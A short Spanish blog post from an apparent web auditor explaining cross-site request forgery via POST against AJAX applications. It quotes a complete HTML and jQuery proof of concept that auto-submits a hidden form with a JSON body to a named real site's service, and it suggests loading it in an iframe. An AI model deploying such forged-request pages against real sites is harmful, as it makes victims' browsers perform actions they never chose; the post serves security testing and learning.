Google
 

jueves, 24 de diciembre de 2009

CSRF mediante POST en Aplicaciones web AJAX


Buenas

Leyendo la lista webappsec de securityfocus.com alguien preguntaba cómo se podía hacer CSRF mediante POST. Cuando estube haciendo una auditoría web tuve problemas para realizar esto mismo, CSRF mediante POST en Aplicaciones web AJAX donde no se utiliza el típico formulario con los pares nombre = valor. La solución es crear un formulario con nombre vacío y valor, el JSON o el formato AJAX que la aplicación necesite.

http://blog.runxc.com/post/2009/07/06/CSRF-by-Example-How-to-do-it-How-to-defend-it.aspx

En la web ponen el siguiente ejemplo:

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1" runat="server">
    <title>RunXc CSRF example</title>
    <script type="text/javascript" 
    src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
    <script type="text/javascript">
        $(document).ready(function() {
        var kickit = location.search.substring(4);
        $('#hidDiv').html(
             '<form name="csrf" id="csrf" ' +
             'action="http://dotnetkicks.com/services/ajax/ajaxservices.ashx" method="post">' +
             ' <input type="hidden" name="" value=' + "'" + 
             '{"id":1,"method":"kickStory","params":['+ kickit +',true]}' + "'" + '/>' +
             ' </form>');
            document.getElementById("csrf").submit();
        });

    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    </div>
    </form>
     <div id="hidDiv" style="display:none;">
     </div>
</body>
</html>


Luego se podría incluir un iframe que lance ese código.

David

No hay comentarios: